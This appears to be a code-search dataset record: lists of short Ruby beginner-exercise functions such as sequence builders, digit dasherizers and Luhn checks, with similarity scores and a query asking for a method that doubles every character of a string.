"def dasherize_number(num)\n\tstr_num = num.to_s\n\tnew_str = \"\"\n\ti = 0\n\twhile i < str_num.length\n\t\tif (str_num[i].to_i % 2 == 1) || (str_num[i - 1].to_i % 2 == 1)\n\t\t\tnew_str += '-'\n\t\tend\n\t\tnew_str += str_num[i]\n\t\ti += 1\n\tend\n\n\tif(new_str[0] =='-')\n\t\tnew_str[0] = ''\n\tend\n\t\n\t#if(new_str[(new_str.length - 1)] == '-')\n\t#\tnew_str[(new_str.length - 1)] = ''\n\t#end\n\t\n\tputs new_str\n\tnew_str\nend",
"def sequence(number)\n if number.negative?\n (number..-1).to_a\n else\n (1..number).to_a\n end\nend",
"def dasherize_number(num)\n\tanswer = ''\n\tnum.to_s.each_char do |x|\n\t\tif x.to_i.odd? \n\t\t\tif answer.match(/-$/)\n\t\t\t\tanswer += x + '-' \n\t\t\telse\n\t\t\t\tanswer += '-' + x + '-'\n\t\t\tend\n\t\telse\n\t\t\tanswer += x\n\t\tend\n\n\tend\n\tanswer.reverse.chomp('-').reverse.chomp('-')\nend",
"def diamond_array_sequence(number)\n array = []\n 1.upto(number) do |n|\n if n.odd?\n array << n\n end\n end\n array\nend",
"def p14_sequence(number)\n return [1] if number == 1\n [number].concat(number % 2 == 0 ? p14_sequence(number/2) : p14_sequence((3*number) + 1))\n end",
"def stringy(num, start_with=0)\n numbers = []\n\n num.times do |index|\n if start_with == 1\n number = index.even? ? 1 : 0\n numbers << number\n else \n number = index.even? ? 0 : 1\n numbers << number\n end \n end\n numbers.join\nend",
"def stringy(number)\n result = []\n\n 1.upto(number) do |num|\n numbers = num.even? ? '0' : '1'\n result.push(numbers)\n end\n result.join\nend",
"def stringy(int, first_num = 1)\n first_num == 0 ? second_num = 1 : second_num = 0\n\n arr = Array(1..int)\n arr.map! { |n| n.odd? ? first_num : second_num }\n arr.join\nend",
"def sequence(number)\n result = []\n 1.upto(number) do |num|\n result << num\n end\n \n result\nend",
"def dasherize_number(num)\n arr = num.to_s.chars\n arr.each { |char| char.gsub!(char, \"-#{char}-\") if char.to_i.odd? }\n string = arr.join\n string.chop! if string[-1] == '-'\n string[0] = '' if string[0] == '-'\n string.squeeze('-')\nend",
"def sequence(num)\n result = [1]\n times_number = num > 0 ? num - 1 : -(num) + 1\n times_number.times{num > 0 ? result << result.last + 1 : result << result.last - 1}\n result\nend",
"def sequence(num)\n\n if num > 0\n (1..num).to_a\n elsif num < 0\n (num..-1).to_a.reverse\n else\n num\n end \nend",
"def sequence(num)\n 1.upto(num).map do |char|\n char\n end\nend",
"def to_modern_roman(number)\n\n\twhile number.to_i <= 3000\n\t\t# split number into an array\n\t\tarray = number.split(//).map { |x| x.to_i }\n\t\tresult =[]\n\t\t# array has length of 4\n\t\tuntil array.length == 4\n\t\tarray.unshift(0)\n\t\tend\n\t\t# 1000s of number\n\t\tif array[-4] < 4 \n\t\t\t\tnum = array[-4]\n\t\t\t\tnum.times { result << \"M\" }\n\t\tend\n\t\t# 100s of number\n\t\tif array[-3] < 4\n\t\t\t\tnum = array[-3]\n\t\t\t\tnum.times { result << \"C\" }\n\t\telsif array[-3] == 4\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"CD\"\n\t\telsif array[-3] == 6\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"DC\"\n\t\telsif array[-3] == 9\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"CM\"\n\t\telse\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"D\" \n\t\t\t\t(num-5).times { result << \"C\" }\n\t\tend\n\t\t# 10s of number\n\t\tif array[-2] < 4\n\t\t\t\tnum = array[-2]\n\t\t\t\tnum.times { result << \"X\" }\n\t\telsif array[-2] == 4\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"XL\"\n\t\telsif array[-2] == 6\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"LX\"\n\t\telsif array[-2] == 9\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"XC\"\n\t\telse\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"L\" \n\t\t\t\t(num-5).times { result << \"X\" }\n\t\tend\n\t\t# single digits of number\n\t\tif array[-1] < 4\n\t\t\t\tnum = array[-1]\n\t\t\t\tnum.times { result << \"I\" }\n\t\telsif array[-1] == 4\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"IV\"\n\t\telsif array[-1] == 6\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"VI\"\n\t\telsif array[-1] == 9\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"IX\"\n\t\telse\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"V\" \n\t\t\t\t(num-5).times { result << \"I\" }\t\n\t\tend\n\t\t# return number in roman numerals\n\t\tputs \"#{number} in New Style Roman Numerals is #{result.join(\"\")}.\"\n\t\texit\n\tend\n\tputs \"Number must be greater than 3000.\"\n\texit\nend",
"def sequence(number)\n result = []\n 1.upto(number) {|e| result << e}\n result\nend",
"def DashInsert(str)\n \n i = 0\n while i < str.length - 1\n if str[i].to_i % 2 != 0 && str[i+1].to_i % 2 != 0 && str[i].to_i != 0 \n \t str[i] = str[i] + \"-\"\n end\n i += 1\n end\n \n str\n \nend",
"def validate(n)\nl = n.to_s.length\ni = 0\nsplit = n.to_s.reverse.split(//).map!{|x|x.to_i}\ndestination = []\n l.times do\n if i.odd?\n if split[i] * 2 <= 9\n destination << split[i] * 2\n else\n destination << (split[i] * 2 - 9)\n end\n else \n destination << split[i] \n end\n i += 1\n end\n p destination\n if destination.reduce(:+) %10 == 0\n true\n else\n false\n end\nend",
"def happy_number_sequence(length)\n\n\thappy_sequence=[]\n\ti=1\n\twhile happy_sequence.length < length\n\t\tif happy_number(i) == \"Happy Number\"\n\t\t\thappy_sequence << i\t\n\t\tend\n\t\ti += 1\n\tend\n\thappy_sequence\nend",
"def stringy(number)\n stringy = []\n number.times do |index|\n n = index.even? ? 1 : 0\n stringy << n\n end\n stringy.join\nend",
"def solution(a)\n number = a.to_s.chars\n first_arrays = []\n (number.length/2).times do\n first_arrays << number.shift\n first_arrays << number.rotate(number.length-1).shift\n number.pop\n end\n ( first_arrays + number ).join(\"\").to_i\nend",
"def DashInsert(str)\n str = str.split(\"\")\n odd = \"13579\"\n i = 0\n new = \"\"\n\n while i < str.length\n new += str[i]\n if odd.index(str[i]) && str[i+1] && odd.index(str[i + 1])\n new += \"-\"\n end\ni+= 1\n end\n # code goes here\n return new\n\nend",
"def stringy(number)\n result = ''\n 1.upto(number) do |num|\n answer = num.odd? ? '1' : '0'\n result << answer\n end\n\n result\nend",
"def DashInsertII(num)\n\n # code goes here\n str = num.to_s.chars.to_a\n str.each_index do |i|\n next if i == 0\n if str[i] && str[i-1] =~ /\\d+/\n if str[i-1].to_i.even? && str[i].to_i.even?\n str.insert(i,'*')\n elsif str[i-1].to_i.odd? && str[i].to_i.odd?\n str.insert(i,'-')\n end\n end\n end\n return str.join\n \nend",
"def stringy(num)\n (1..num).map { |idx| idx.odd? ? '1' : '0' }.join\nend",
"def dash_insert_ii(str)\n result = ''\n str.each_char.with_index do |char, idx|\n result << char\n next if char == '0' || idx >= str.size - 1 || str[idx + 1] == '0'\n if char.to_i.even? && str[idx + 1].to_i.even?\n result << '*'\n elsif char.to_i.odd? && str[idx + 1].to_i.odd?\n result << '-'\n end\n end\n result\nend",
"def stringy(num)\n arr = []\n\n num.times do |idx|\n digit = idx.odd? ? '0' : '1'\n arr << digit\n end\n\n arr.join\nend",
"def number_counting_seq(n)\r\n\r\nend",
"def dashatize(n)\n n ? n.to_s.scan(/[02468]+|[13579]/).join(\"-\") : \"nil\"\nend",
"def digit_list_two(positive_integer)\n list = []\n array_of_integer_strings = positive_integer.to_s.split('')\n array_of_integer_strings.each do |number|\n list << number.to_i\n end\n list \nend",
"def lucas_sequence(num)\n return [] if num == 0\n array = []\n (1..num).each { |n| array << lucas_number(n) }\n\n array\nend",
"def sequence3(number)\n array = []\n 1.upto(number) { |num| array << num }\n array\nend",
"def series_up(num)\n seq = 0\n list = []\n # list[(num * (num + 1) / 2) - 1] = num wasn't doing anything for me\n num.times do |pat| # I swtiched to num.times because I couldn't do list.each because list is blank\n t = 0\n num.times do |numb|\n list[t + seq] = t + 1 # How it knows where to put what number\n t += 1\n end\n seq += pat + 1 # grows exponentially to make it add a new space every time\n end\n return list\nend",
"def sequence(int)\n array = []\n 1.upto(int) do |num|\n array << num\n end\n array\nend",
"def DashInsert(num)\n\n num.to_s.gsub(/[13579]{2,}/){|x| x.split('').join(\"-\")}\n \nend",
"def dashatize(num)\n # scan(pattern) -> [String] | [[String]]\n # self に対して pattern を繰り返しマッチし、 マッチした部分文字列の配列を返します。\n # pattern が正規表現で括弧を含む場合は、 括弧で括られたパターンにマッチした部分文字列の配列の配列を返します。\n num ? num.to_s.scan(/[02468]+|[13579]/).join(\"-\") : \"nil\"\nend",
"def rotations(num)\n output = [num]\n digits = num.to_s.chars\n x = digits.count - 1\n x.times do\n first = digits.shift\n rotation = digits.push(first).join(\"\").to_i\n output << rotation\n end\n output\nend",
"def stringy(number)\n result = ''\n number.times do |idx|\n result << (idx.even? ? '1' : '0')\n end\n result\nend",
"def luhnother(ccNumber)\n ccNumber = ccNumber.gsub(/\\d/,'').split(//).collect { |digit| digit.to_i }\n parity = ccNumber.length % 2\n sum = 0\n ccNumber.each_with_index do |digit,index|\n digit = digit * 2 if index%2==parity\n digit = digit - 9 if digit > 9\n sum = sum + digit\n end\n return (sum%10)==0\nend",
"def luhnother(ccNumber)\n ccNumber = ccNumber.gsub(/\\d/,'').split(//).collect { |digit| digit.to_i }\n parity = ccNumber.length % 2\n sum = 0\n ccNumber.each_with_index do |digit,index|\n digit = digit * 2 if index%2==parity\n digit = digit - 9 if digit > 9\n sum = sum + digit\n end\n return (sum%10)==0\nend",
"def split_into_sequences(number)\n [\n [number[0..2], number[3..-1]], #-1 referees to the last element of the array\n [number[0..3], number[4..-1]],\n [number[0..4], number[5..-1]],\n [number[0..5], number[6..-1]],\n [number[0..6], number[7..-1]]\n ]\n end",
"def stringy(number)\n result = []\n\n number.times do |num|\n numbers = num.even? ? '1' : '0'\n result << numbers\n end\n \n result.join\nend",
"def as(besar)\n\tbesar = besar.to_i\n\tstr = \"\"\n\tcount = 1\n\t# besar.odd? ? mid = besar + 1 : mid = besar\n\tbesar.odd? ? mid = besar - 1 : mid = besar\n\tx = (mid/2).ceil + 1\n\n\tfor i in 1..mid do\n \n\t\tfor j in i...mid do\n\t\t\tstr += \"-\"\n\t\tend\n\n\t\tif i != x\n\t\t\tfor j in 1..count do\n\t\t\t j > 1 && j < count ?\tstr += \"-\" : str += \"A\"\n\t\t\tend\n\t\telse\n\t\t\tfor j in 1..count\n\t\t\t\tj.odd? ? str += \"A\" : str += \"-\"\n\t\t\tend\n\t\tend\n\n\t\tstr += \"\\n\"\n\t\tcount += 2\n\tend\n\n\tprint str\nend",
"def stringy(int)\n\ncounter = int\narr = []\n\n while counter > 0\n if !arr.empty? && counter % 2 ==0\n arr << 0\n elsif counter % 2 !=0 && arr.last != 1 || arr.empty?\n arr << 1\n else\n next\n end\n counter -= 1\n end\n arr.join()\nend",
"def sequence(number)\n array_of_numbers = []\n \n 1.upto(number) do |num|\n array_of_numbers << num\n end\n \n array_of_numbers\n \nend",
"def collatz_sequence(number)\n sequence = [number]\n\n while number != 1\n number.even? ? number = (number / 2) : number = (3 * number) + 1\n sequence.push(number)\n end\n\n sequence\nend",
"def DashInsert(str)\n str.chars\n .each_cons(2)\n .map { |i,j| (i.to_i.odd? && j.to_i.odd?) ? i+'-' : i }\n .join + str[-1]\nend",
"def circular_rotations(number)\n rotations = []\n if number.to_s.size == 1\n return rotations\n end\n digits = number.to_s.split(\"\").map { |x| x.to_i }\n (number.to_s.size-1).times {\n digits << digits.shift\n rotations << digits.to_s.to_i\n }\n return rotations\nend",
"def sequence(number)\n (1..number).to_a\nend",
"def sequence(number)\n (1..number).to_a\nend",
"def dashatize(num)\n num ? num.to_s.scan(/[02468]+|[13579]/).join(\"-\") : \"nil\"\nend",
"def generate_increments(rotation_value,increment)\n increments_array = []\n\n i=1\n loop do\n increments_array << (rotation_value - (increment*i)) % @num_digits\n if (rotation_value - (increment*i)) < 0\n break\n end\n i += 1\n end\n\n increments_array << rotation_value\n\n i = 1\n loop do\n if rotation_value + (increment*i) >= (10 ** @num_digits)\n break\n end\n increments_array << rotation_value + (increment*i)\n i += 1\n end\n increments_array\n end",
"def stringy(num)\n zero_array = []\n one_array = []\n\n (num / 2).times do\n zero_array << 0\n one_array << 1\n end\n\n if num.odd?\n one_array << 1\n end\n\n one_array.zip(zero_array).flatten.join(\"\")\nend",
"def sequence_2(num)\n num > 0 ? (1..num).to_a : (num..-1).to_a.reverse\nend",
"def dv11 n\n if n.length < 2\n return nil\n end\n\n soma = 0\n l = n.length\n multiplicador = 2\n (1..(l)).each do |i|\n c = n[l-i,1];\n parcela = c.to_i * multiplicador\n soma += parcela\n multiplicador < 9 ? multiplicador += 1 : multiplicador = 2\n end\n\n resto = soma % 11\n\n if (resto >= 0 and resto <= 1)\n digito = 0\n else\n digito = 11 - resto\n end\n return n + digito.to_s\n end",
"def lucas_sequence(num)\n return [] if num == 0\n return [2] if num == 1\n return [2,1] if num == 2\n prev = lucas_sequence(num-1)\n el = prev[-1] + prev[-2]\n prev << el\nend",
"def coordinator(num)\n if num < 10\n [0, num]\n else\n num.to_s.split('').map(&:to_i)\n end\n end",
"def stringy(number)\n arr = []\n (1..number).each { |num| arr << num }\n\n string = \"\"\n arr.each do |num|\n string << \"0\" if num % 2 == 0\n string << \"1\" if num % 2 == 1\n end\n\n string\nend",
"def stringy(number, start_with = 1)\n if start_with != 1 && start_with != 0\n puts 'Invalid value for start. Only 1 and 0 allowed'\n return\n end\n\n number_string = start_with.to_s\n iterations = number - 1\n\n iterations.times do |previous_number|\n number_string[previous_number] == '1' ? number_string << '0' : number_string << '1'\n end\n\n number_string\nend",
"def dashatize(num)\n return 'nil' if num == nil\n str = num.to_s.each_char.map do |char|\n char.to_i.odd? ? char = \"-#{char}-\" : char\n end\n\n str = str.join.squeeze('-')\n str.slice!(0,1) if str[0] == '-'\n str.slice!(-1,1) if str[-1] == '-'\n str\nend",
"def stringy(num)\n str = ''\n 1.upto(num) do |index|\n if index.odd?\n str << '1'\n else\n str << '0'\n end\n end\n str\nend",
"def stringy(number, optional = 1)\n result = ''\n 1.upto(number) do |num|\n if optional == 1\n answer = num.odd? ? '1' : '0'\n result << answer\n else\n answer = num.even? ? '1' : '0'\n result << answer\n end\n end\n\n result\nend",
"def digitize(n)\n split_array_numbers = n.to_s.split(//).map { |x| x.to_i}.reverse\nend",
"def sequencer(num)\n array = []\n array << num\n until array.last == 1\n if num%2 == 0 \n num = num/2\n array << num \n else \n num = num*3 + 1\n array << num \n end \n end\n return array.length\nend",
"def stringy(integer)\n numbers = []\n\n integer.times do |index|\n number = index.even? ? 1 : 0 # ternary operator if/then, number captures new value\n numbers << number\nend\n\n # numbers.join\nend",
"def sequence(num)\n sequence = []\n for nums in 1..num\n sequence << nums\n end\n sequence\nend",
"def sequence(num)\n sequence_arr = []\n 1.upto(num) { |n| sequence_arr << n }\n sequence_arr\nend",
"def seq(i)\n\t\tif (i % 2 == 0)\n\t\t\treturn i / 2\n\t\telse\n\t\t\treturn i * 3 + 1\n\t\tend\n\tend",
"def pattern(n)\n if n <= 1 # number is 1 or lower\n return ''\n else # number is 2 or higher\n # for each number from 1 up to n, select only the even numbers\n # and print that number the amount of times equal to the number\n # and follow up with a new line for each unique even number\n (1..n).select(&:even?).map do |x|\n x.times { print \"#{x}\" }\n print \"\\n\"\n # return output\n # print \"\\n\"\n # return x\n # if n > 3\n # return \"#{x}\" * x\n # else\n # return \"#{x}\" * x + \"\\n\"\n # end\n end\n end\nend",
"def sequence(num)\n\n results = []\n\n 1.upto(num) { |num| results << num }\n\n results\n\nend",
"def digitize_1(n)\n list = []\n puts n.to_s\n \n n.to_s.each_char do |char| \n list << char.to_i\n end\n\n return list.reverse\nend",
"def consecutive_collapse(numbers)\n i = 0\n while i < numbers.length - 1\n if (numbers[i] - numbers[i + 1]).abs == 1\n numbers = numbers[0...i] + numbers[(i + 2)..-1]\n i = 0\n else\n i += 1\n end\n end\n numbers\nend",
"def sequence(num)\n num > 0 ? (1..num).to_a : (num..1).to_a.reverse\nend",
"def sequence(num)\n num > 0 ? (1..num).to_a : (num..1).to_a.reverse\nend"
] |
[
"0.7314747",
"0.72452223",
"0.7173576",
"0.71539015",
"0.715088",
"0.7134091",
"0.7093243",
"0.70316416",
"0.6994785",
"0.69769067",
"0.6965943",
"0.6960419",
"0.6958809",
"0.6955352",
"0.69474936",
"0.6919197",
"0.6861141",
"0.67893356",
"0.6719792",
"0.67084855",
"0.6693574",
"0.6669552",
"0.6645298",
"0.66449904",
"0.6639218",
"0.6624971",
"0.6611249",
"0.6554093",
"0.6411852",
"0.6351752",
"0.62310445",
"0.6222375",
"0.6209299",
"0.6190206",
"0.61870706",
"0.6176848",
"0.6148948",
"0.6141457",
"0.612627",
"0.6110754",
"0.6109354",
"0.60694134",
"0.6035187",
"0.60319346",
"0.6028583",
"0.6017796",
"0.60024744",
"0.60006094",
"0.5998549",
"0.59761",
"0.5975518",
"0.59731865",
"0.5957957",
"0.59565467",
"0.5949368",
"0.59377253",
"0.593573",
"0.59283",
"0.5909153",
"0.59069014",
"0.59036493",
"0.59019923",
"0.58988196",
"0.5895759",
"0.5895238",
"0.5895238",
"0.5871928",
"0.5863163",
"0.58582157",
"0.5858172",
"0.58529603",
"0.5846151",
"0.58457893",
"0.58286405",
"0.5827442",
"0.5827442",
"0.5825428",
"0.5825058",
"0.57970214",
"0.5793515",
"0.5792264",
"0.5778398",
"0.5777586",
"0.5775451",
"0.57746047",
"0.5758924",
"0.57548535",
"0.5743015",
"0.57422525",
"0.5741221",
"0.5731676",
"0.57304895",
"0.57220995",
"0.5721974",
"0.5714846",
"0.5713368",
"0.5712023",
"0.56940055",
"0.5692281",
"0.5692281"
] |
0.67874783
|
18
|
Write a method that takes a string, and returns a new string in which every character is doubled. input: string output: string with each character doubled new_str = '' string.chars each do |char| concat to new_str twice end new_str
|
def repeater(string)
new_string = ''
string.chars.each do |char|
new_string << char << char
end
new_string
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def double_characters(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char * 2\n end\n doubled_string\nend",
"def repeater(string)\n doubled_str = \"\"\n string.each_char do |char|\n doubled_str << char << char\n # doubled_str.concat(char*2)\n # doubled_str.concat(char, char)\n end\n \n doubled_str\nend",
"def repeater(string)\n doubled_string = []\n\n string.chars.each do |char|\n doubled_string << char * 2\n end\n\n doubled_string.join\nend",
"def repeater(string)\n doubled = \"\"\n single_chars = string.chars\n single_chars.each do |char|\n doubled_char = char * 2\n doubled << doubled_char\n end\n doubled\nend",
"def repeater(string)\n new_str = ''\n\n string.chars.each { |x| new_str << x * 2 }\n new_str\nend",
"def double(string)\n result = []\n string.chars.each do |char|\n result << char * 2\n end\n result.join\nend",
"def repeater(str)\n new_str = ''\n str.chars.each do |char|\n new_str << char * 2\n end\n \n p new_str\nend",
"def repeater(string)\r\n new_string = \"\"\r\n string.each_char { |char| new_string << char*2 }\r\n new_string\r\nend",
"def double_char(str)\n str.chars.map{|e|e *2}.join\nend",
"def repeater(string)\n new_string = ''\n string.chars.each do |char|\n 2.times { new_string << char }\n end\n new_string\nend",
"def repeater(string)\n result = ''\n string.each_char { |char| result << char * 2 }\n result\nend",
"def crunch(double_string)\n current_character = ''\n new_string = ''\n double_string.each_char do |character|\n if character != current_character\n new_string += character\n current_character = character\n end\n end\n new_string\nend",
"def repeater(string)\r\n result = \"\"\r\n string.chars.each do |letter|\r\n result << letter * 2\r\n end\r\n result\r\nend",
"def repeater(string)\n result = \"\"\n string.each_char { |char| result << char * 2}\n result\nend",
"def repeater(string)\n double = \"\"\n for i in 0...string.length\n double << string[i] * 2\n end\n double\nend",
"def repeater(str)\n temp_arr = []\n str.chars do |letter|\n temp_arr << letter * 2\n end\n \n temp_arr.join('')\nend",
"def repeater(str)\n new_str = ''\n return new_str if str.eql?('')\n str.chars.each do|char|\n new_str << char * 2\n end\n new_str\nend",
"def repeater(str)\n result = ''\n str.each_char { |char| result << char * 2 } # or result << char << char\n result\nend",
"def repeater(string)\n doubled = ''\n characters = string.chars\n size = characters.size\n counter = 0\n\n while counter < size\n doubled = doubled + string[counter] + string[counter]\n\n counter += 1\n end\n\n doubled\nend",
"def repeater(str)\n repeated_str = ''\n\n str.each_char do |char|\n repeated_str << char * 2\n end\n\n repeated_str\nend",
"def double_char(str)\n str.chars.map { |letter| letter * 2 }.join\nend",
"def repeater(string)\n string.chars.map! { |char| char * 2 }.join('')\nend",
"def repeater2(string)\n result = '' \n string.each_char do |char|\n result << char << char\n end\n result\nend",
"def repeater(string)\n doubled_arr = []\n string.each_char{ |char| doubled_arr << char *= 2} \n p doubled_arr.join\nend",
"def repeater(str)\n str.chars.each_with_object('') {|char, str| str << char * 2}\nend",
"def repeater(string)\n string.chars.map do |char|\n char + char\n end.join\nend",
"def repeater(string)\n result = ''\n string.each_char do |char|\n result << char << char\n end\n result\nend",
"def repeater(string)\n result = ''\n string.each_char do |char|\n result << char << char\n end\n result\nend",
"def repeater(string)\n doubled_str = ''\n string.size.times do |i|\n doubled_str << string[i] * 2\n end\n doubled_str\nend",
"def repeater(string)\n string.chars.map{ |char| char * 2 }.join\nend",
"def repeater(str)\n str.chars.map { |chr| chr * 2}.join\nend",
"def repeater(str)\n str.chars.map { |char| char * 2 }.join\nend",
"def repeater(str)\n str.chars.map { |char| char * 2 }.join\nend",
"def repeater(str)\n str.chars.map { |char| char * 2 }.join\nend",
"def repeater(str)\n str.chars.map { |char| char * 2 }.join\nend",
"def repeater(str)\n str.chars.map { |char| char * 2 }.join\nend",
"def repeater(string)\n string.chars.map { |char| char + char }.join\nend",
"def repeater(string)\n array = string.split('')\n array.map! do |char|\n char * 2\n end\n array.join\nend",
"def double_char(str)\n\tarr = str.split('')\n\tnew_arr = []\n\tarr.each do |i| \n\t\t2.times {new_arr.push(i)}\n\tend\n\tstr = new_arr.join()\n\treturn str;\nend",
"def repeater(str)\n\n str.chars.map {|char| char*2}.join\n\nend",
"def repeater(string)\n string.chars.map { |el| el * 2 }.join\nend",
"def double_char(str)\n characters = []\n str.split(\"\").each do |x|\n characters << x*2\n end\n p characters.join\nend",
"def repeater(string)\n doubled = ''\n count = 0\n\n until count == string.length\n doubled << string[count] * 2\n count += 1\n end\n doubled\nend",
"def double_char(str)\n str = \"String\"\n arr = str.split('')\n arr.map do |letter|\n letter * 2\n end.join\n \nend",
"def repeater(text)\n double_string = ''\n text.each_char { |char| double_string << char * 2 }\n double_string\nend",
"def repeater(string)\n string.chars.zip(string.chars).join\nend",
"def repeater(string)\n string.split('').map { |char| char * 2 }.join\nend",
"def repeater(str)\n [str.chars, str.chars].transpose.join\nend",
"def repeater(str)\n str.chars.zip(str.chars).join\nend",
"def double_char(str)\n # x = 0\n # word = \"\"\n # until x == str.length do\n # 2.times { word << str[x] }\n # x += 1\n # end\n # puts word\n #\n # or\n #\n word = \"\"\n for i in (0..str.length-1)\n 2.times { word << str[i]}\n end\n puts word\nend",
"def repeater(string)\n string = string.split(\" \")\n\n string.map do |word|\n word = word.split('')\n word.map {|letter| letter * 2}.join('')\n end.join(' ')\nend",
"def repeater(word)\n word.chars.map { |char| char * 2 }.join\nend",
"def repeater(string)\n string.split(//).map {|char| char * 2 }.join\nend",
"def crunch(str)\n current_char = nil\n new_str = ''\n str.each_char do |char| \n if current_char != char\n new_str << char \n current_char = char\n end\n end\n new_str\nend",
"def double_consonants(str)\n\n new_string = []\n\n str.chars.each do |char|\n if ('aeiouAEIOU').include?(char) == false\n new_string << char*2 \n else \n new_string << char\n end\n end\n\n new_string.join\nend",
"def double_consonants(str)\n str.chars.each_with_object('') do |char, new_str|\n if char =~ /[^aeiou]/ && char =~ /[A-z]/\n new_str << char * 2\n else\n new_str << char\n end\n end\nend",
"def double_consonants(str)\n str.chars.each_with_object('') do |c, double_str|\n if c =~ /[^(aeiouAEIOU)|\\W|\\d]/\n double_str << c * 2\n else\n double_str << c\n end\n end\nend",
"def double_consonants(string)\n result = []\n string.each_char do |char|\n result << char_value(char)\n end\n p result.join\nend",
"def crunch(string)\n last_char_used = []\n new_string = ''\n string.each_char do |char|\n new_string << char if char != last_char_used.last\n last_char_used << char\n end\n new_string\nend",
"def every_other_letter(string)\r\n # your code here\r\n every_other_letter = \"\"\r\n i = 0\r\n for i in 0 ... string.length\r\n if i % 2 == 0\r\n every_other_letter << string[i]\r\n end\r\n end\r\n every_other_letter\r\nend",
"def solution(str)\n str << \"_\" if str.length % 2 != 0\n str.chars.each_slice(2).map(&:join)\nend",
"def rampant_repeats(string, hash)\n new_str = ''\n\n string.each_char do |char|\n if hash.has_key?(char)\n new_str += (char*hash[char])\n else\n new_str += char\n end\n end\n new_str\nend",
"def crunch(string)\n new_string = ''\n string.each_char { |char| new_string += char if new_string[-1] != char}\n new_string\nend",
"def crunch(string)\n prev_char = ''\n new_string = ''\n \n string.chars.each do |char|\n if char == prev_char\n next\n else\n new_string << char\n prev_char = char\n end\n end\n \n new_string\nend",
"def crunch(str)\n new_str = ''\n prev = ''\n str.chars.each do |c|\n next if prev == c\n new_str << c\n prev = c\n end\n new_str\nend",
"def double_consonants(str)\n repeater_chars = str.chars.map do |char| \n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n char * 2\n else\n char\n end\n end\n repeater_chars.join\nend",
"def double_consonants(string)\n final = string.chars.map do |el|\n if %w[a e i o u].include?(el)\n el\n elsif ('a'..'z').include?(el.downcase)\n el * 2\n else\n el\n end\n end\n final.join\nend",
"def crunch(string)\n output = []\n string.chars.each { output << char unless output.last == char }\n output.join\nend",
"def reverse(string)\n output = \"\"\n array = string.chars\n string.length.times { output << array.pop } \n output\nend",
"def double_consonants(string)\n output = \"\"\n single_chars = string.chars\n single_chars.each do |char|\n if char.match(/[[a-z]&&[^aeiou]]/i)\n output << char * 2\n else\n output << char \n end\n end\n output\nend",
"def repeater(str)\n str.gsub(/(.)/, '\\1\\1')\nend",
"def repeater(str)\n str.gsub(/(.)/, '\\1\\1')\nend",
"def crunch(string)\n new_array = [ ]\n\n original_string_arr = string.chars\n\n original_string_arr.each_with_index do |char, index|\n if char != original_string_arr[index + 1]\n new_array << char\n end\n end\n\n new_array.join\nend",
"def rampant_repeats(str, hash)\n new_str = \"\"\n\n str.each_char do |char|\n if hash.has_key?(char)\n new_str += char * hash[char]\n else\n new_str += char\n end\n end\n new_str\nend",
"def char_concat(word)\n (1..word.length/2).map {|i| word[i - 1] + word[-i] + i.to_s}.join\nend",
"def double_consonants(str)\n new_str = ''\n str.each_char do |char|\n if char =~ /[-!aeiou0-9' ']/i\n new_str << char\n else\n new_str << char.concat(char)\n end\n end\n new_str\nend",
"def double_consonants(str)\n result = \"\"\n str.chars.each do |ch|\n result << if ch.downcase.match?(/[a-z&&[^aeiou]]/)\n ch * 2\n else\n ch\n end\n end\n result\nend",
"def double_consonants(str)\n results = \"\"\n str.each_char do |char| \n if char.downcase =~ /[a-z&&[^aeiou]]/\n results << char * 2 \n else\n results << char\n end\n end\n results\nend",
"def double_consonants(string)\n string.chars.inject('') do |str, char|\n char.downcase.count(\"a-z\", \"^aeiou\") > 0 ? str + char * 2 : str + char\n end\nend",
"def double_consonants(string)\n chars_array = string.chars.map do |x|\n if x =~ /[^AEIOUaeiou0-9\\W]/\n x*2\n else\n x\n end\n end\n \n chars_array.join\nend",
"def crunch(string)\n string == '' ? new_str = '' : new_str = string[0]\n string.each_char do |char|\n char == new_str[-1] ? next : new_str = new_str + char\n end\n new_str\nend",
"def rampant_repeats(string, hash)\n new_str = \"\"\n string.each_char do |char|\n if hash.key?(char)\n hash[char].times { new_str += char }\n else\n new_str += char \n end\n end\n new_str\nend",
"def make_string(s)\n s.split.map { |str| str.chars.first}.join\nend",
"def double_consonants(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char\n doubled_string << char if consonant?(char.downcase)\n end\n\n doubled_string\nend",
"def double_consonants(string)\n doubled_string = ''\n string.each_char do |char|\n char.match(/[a-z&&[^aeiou]]/i) ? doubled_string << char << char : doubled_string << char\n end\n doubled_string\nend",
"def string_expansion(s)\r\n multiple = 1\r\n s.chars.each_with_object([]) do |char, str|\r\n char =~ /[0-9]/ ? multiple = char.to_i : str << char * multiple\r\n end\r\n .join\r\nend",
"def crunch(str)\n last_character = ''\n collapsed = str.chars.each_with_object([]) do |character, arr|\n unless character == last_character\n arr.push(character)\n last_character = character\n end\n end\n collapsed.join\nend",
"def reverse_string_2(string)\n string = string.to_s\n result = ''\n for i in 1..string.length do\n result += string[-1 * i]\n end\n result\nend",
"def double_consonants(string)\n new_string = ''\n string.each_char do |char|\n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n new_string << char << char\n else\n new_string << char\n end\n end\n new_string\nend",
"def same_char_collapse(str)\n while adjacent_same_char?(str)\n str.chars.each_index do |i|\n if str[i] == str[i + 1]\n str[i..i + 1] = ''\n break\n end\n end\n end\n\n return str\nend",
"def crunch(string)\n string.gsub(/(.)\\1+/, '\\1')\nend",
"def double_consonants(string)\n result_string = ''\n string.each_char do |char|\n if char =~ /[a-z&&[^aeiou]]/i\n result_string << char << char\n else\n result_string << char\n end\n end\n result_string\nend",
